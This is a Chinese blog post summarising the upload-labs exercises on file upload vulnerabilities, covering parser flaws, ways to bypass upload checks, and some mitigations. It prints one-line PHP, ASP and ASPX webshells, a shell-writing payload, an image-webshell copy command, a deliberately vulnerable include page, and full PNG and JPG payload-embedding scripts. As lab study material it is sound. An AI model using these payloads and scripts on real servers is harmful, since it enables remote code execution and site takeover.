刷完了upload-labs 对文件上传漏洞有了些许认识 在此做个小结与记录
文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。 这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。 这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。 如果服务器的处理逻辑做的不够安全,则会导致严重的后果
web容器是一种服务程序,在服务器一个端口就有一个提供相应服务的程序,而这个程序就是处理从客户端发出的请求,如tomcat、apache、nginx等等。(可以理解为给编程语言提供环境)
中间件:提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。
容器:给处于其中的应用程序组件(ASP,JSP,PHP)提供一个环境。使处于其中的应用程序组件之间跟容器中的环境变量接口交互,不必关注其他系统问题。
服务器:www服务器或http服务器。提供web信息游览服务。它只需支持http协议、html文档格式以及url,向游览器提供服务的程序。
IIS全称是互联网信息服务,包括FTP/FTPS、NNTP、HTTP/HTTPS、SMTP等服务。
.net Framework是基础类库,是程序运行的底层框架。
IIS是架设Web服务器用来提供网页游览服务的,属于系统环境。
一般用ASP.NET开发软件,然后靠IIS对公网提供服务。
当服务器接收到一个HTTP请求的时候,IIS首先需要决定如何去处理这个请求(服务器处理.aspx和.html肯定是不一样的),根据的是文件的后缀名
服务器获取所请求的页面(也可以是文件)的后缀名后接下来会在服务器端寻找可以处理这类后缀名的应用程序,如果IIS找不到可以处理此类文件的应用程序,那么IIS将直接把这个文件返还给客户端
Asp一句话:<%eval request("xxx")%>
Php 一句话:<%php @eval($_POST[xxx]);?>
Aspx一句话:<%@ Page Languag="xxx"%><%eval(Request.Item["xxx"])%>
配合菜刀或蚁剑使用,若是图片配合Edjpgcom
文件解析漏洞,是指Web容器(Apache、nginx、iis等)在解析文件时出现了漏洞,以其他格式执行出脚本格式的效果
1、多后缀
test.php.qwea
文件绕过验证且服务器依然会将其解析为php注:Apache能够认识的文件在mime.types
文件里
应对:后缀验证尽量使用白名单的方式,这样即使使用不存在的后缀名,也无法绕过
2、配置问题导致漏洞
AddHandler php5-script .php
这时只要文件名里包含.php
即使文件名是 test2.php.jpg
也会以 php 来执行。AddType application/x-httpd-php .jpg
即使扩展名是 jpg,一样能以 php 方式执行应对:apache配置文件,禁止.php.
这样的文件执行
<Files ~ ".(php.|php3.)">
Order Allow,Deny
Deny from all
</Files>
3、罕见后缀
Apache配置文件中会有.+.ph(p[345]?|t|tml)
此类的正则表达式
也就是说php3
,php4
,php5
,pht
,phtml
这样的后缀也是可以被解析的
4、.htaccess
文件
生效条件
AllowOverride All
LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so
.htaccess
文件可以配置很多事情
如是否开启站点的图片缓存、自定义错误页面、自定义默认文档、设置WWW域名重定向、设置网页重定向、设置图片防盗链和访问权限控制
例1
AddType application/x-httpd-php xxx
就成功地使该.htaccess
文件所在目录及其子目录中的后缀为.xxx
的文件被Apache当做php文件
例2
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
Apache把shell.jpg文件解析为php文件
1、PHP CGI解析漏洞 Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
SCRIPT_FILENAME
xx.com/phpinfo.jpg/1.php
这个URL时,$fastcgi_script_name
会被设置为phpinfo.jpg/1.php
,然后构造成SCRIPT_FILENAME
传递给PHP CGIfix_pathinfo
这个选项,就会触发在PHP中的如下逻辑:SCRIPT_FILENAME
是phpinfo.jpg
,而1.php
是PATH_INFO
,所以就会将phpinfo.jpg
作为PHP文件来解析另一种
cgi.fix_pathinfo
默认是开启test.jpg
,内容如下<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
test.jpg/.php
,在这个目录下就会生成一句话木马shell.php
2、空字节代码执行漏洞
http://example.com/file.ext%00.php
就会将file.ext
作为PHP文件解析Ngnix在遇到%00
空字节时与后端FastCGI处理不一致
导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php
来执行其中的代码
应对:禁止在上传文件目录下执行php。
在nginx虚拟机配置或者fcgi.conf
配置加如下代码
if ($request_filename ~* (.*)\.php) {
set $php_url $1;
}
if (!-e $php_url.php) {
return 403;
}
1、目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp
,.asa
目录下的文件都解析成asp文件。
2、文件解析(6.0)
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;
号后面的内容,因此xx.asp;.jpg
便被解析成asp文件了
当用户在客户端选择文件点击上传的时候,客户端还没有向服务器发送任何消息,就对本地文件进行检测来判断是否是可以上传的类型,这种方式称为前台脚本检测扩展名
绕过方法:
evil.jpg
,上传时,用BurpSuite截包后,将数据包中的名字改为evil.php
(或其它脚本类型)即可1、黑名单过滤 黑名单过滤是一种不安全的方式
绕过方法:
php3
,php4
,php5
,pht
,phtml
.htaccess
文件:见上面解析漏洞.user.ini
文件:auto_prepend_file=test.jpg
,让所有php文件都“自动”包含test.jpg
文件1.php. .
(点+空格+点)绕过2、白名单过滤
白名单定义允许上传的扩展名,拥有比黑名单更好的防御机制
如:$WhiteList=array(rar',jpg',png,bmpy,gif,jpg;doc);
在获取到文件扩展名后对 WhiteList数组里的扩展名迭代判断,如果文件扩展名被命中,程序将认为文件是合法的,否则不允许上传
绕过方法:
%00
截断上传攻击,见下面3、MIME验证 MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准 MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据 HTTP协议规定了上传资源的时候在Header中使用Content-Type 字段表示文件的MIME 类型 当具有该扩展名的文件被访问时,浏览器会自动使用指定的应用程序来打开
绕过方法: 使用各种各样的工具(如burpsuite)强行篡改Header就可以 将Content-Type: application/php改为其他web程序允许的类型
4、目录验证 在文件上传时,程序通常允许用户将文件放到指定的目录中 然而有些Web开发人员为了让代码更“健壮”,通常会做一个操作 如果指定的目录存在,就将文件写入目录中,不存在则先建立目录,然后写入
5、%00
截断上传攻击
%00
字节,可以截断某些函数对文件名的判断例
filename=test.php%00.txt
txt是合法上传,被截断,最终呈现的是test.php
使用场景:
6、文件幻数检测 主要是检测文件内容开始处的文件幻数,比如图片类型的文件幻数如下
要绕过jpg 文件幻数检测就要在文件开头写上下图的值 Value = FF D8 FF E0 00 10 4A 46 49 46
要绕过gif 文件幻数检测就要在文件开头写上下图的值 Value = 47 49 46 38 39 61
要绕过png 文件幻数检测就要在文件开头写上下面的值 Value = 89 50 4E 47
然后在文件幻数后面加上自己的一句话木马代码就行了
1、windows 上传不符合windows文件命名规则的文件名
test.asp.
test.php.
test.asp(空格)
test.php(空格)
test.php:1.jpg
test.php::$DATA
shell.php::$DATA
会被某些版本的windows系统自动去掉不符合规则符号后面的内容。
2、linux linux是大小写敏感的,因此一般检测也会区分大小写 但某些解析器是不区分大小写的,例如PHP,上传php不被解析,可以试试上传类似pHp后缀的文件名
3、CMS、编辑器漏洞 CMS漏洞:可以针对不同CMS存在的上传漏洞进行绕过 编辑器漏洞:比如FCK,ewebeditor等,可以针对编辑器的漏洞进行绕过
制作图片马 将一句话木马1.php和普通图片1.jpg合并 得到shell.jpg
copy 1.jpg /b + 1.php /a shell.jpg
上传文件
但直接访问图片并不能把图片当做PHP解析 还需要利用文件包含漏洞 在上传目录下建立一个php文件
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
场景:
大佬文章 绕过方法:
关于绕过gif的二次渲染 我们只需要找到渲染前后没有变化的位置 然后将php代码写进去,就可以成功上传带有php代码的图片
png图片由3个以上的数据块组成.
PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们
1、分析数据块
2、绕过方法
import binascii
import re
png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)
''' PLTE crc '''
data = '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
大佬脚本
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
php jpg_payload.php 1.jpg
并不是所有图片都有空间填充payload 一个成功案例:画图软件构造1000*1000的纯白图片
如果先将文件上传到服务器,然后判断文件后缀是否在白名单里 这就在文件的处理顺序上出现了问题,不管文件类型是否合格就上传至服务器,之后再对其类型进行判断,这样的处理顺序导致了在多线程的情况下,有可能对于不合格的文件还没来得及删除就已经被访问,导致不合格的文件绕过了限制
因此我们可以打个时间差:上传1.php,只需要在它删除之前访问即可 可以利用burp的intruder模块不断上传,然后我们不断的访问刷新该地址
适用场景:有时间差
基本总结了常见的文件上传漏洞 在ctf和现实中会有各种神奇的组合和方法 如Pass21
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。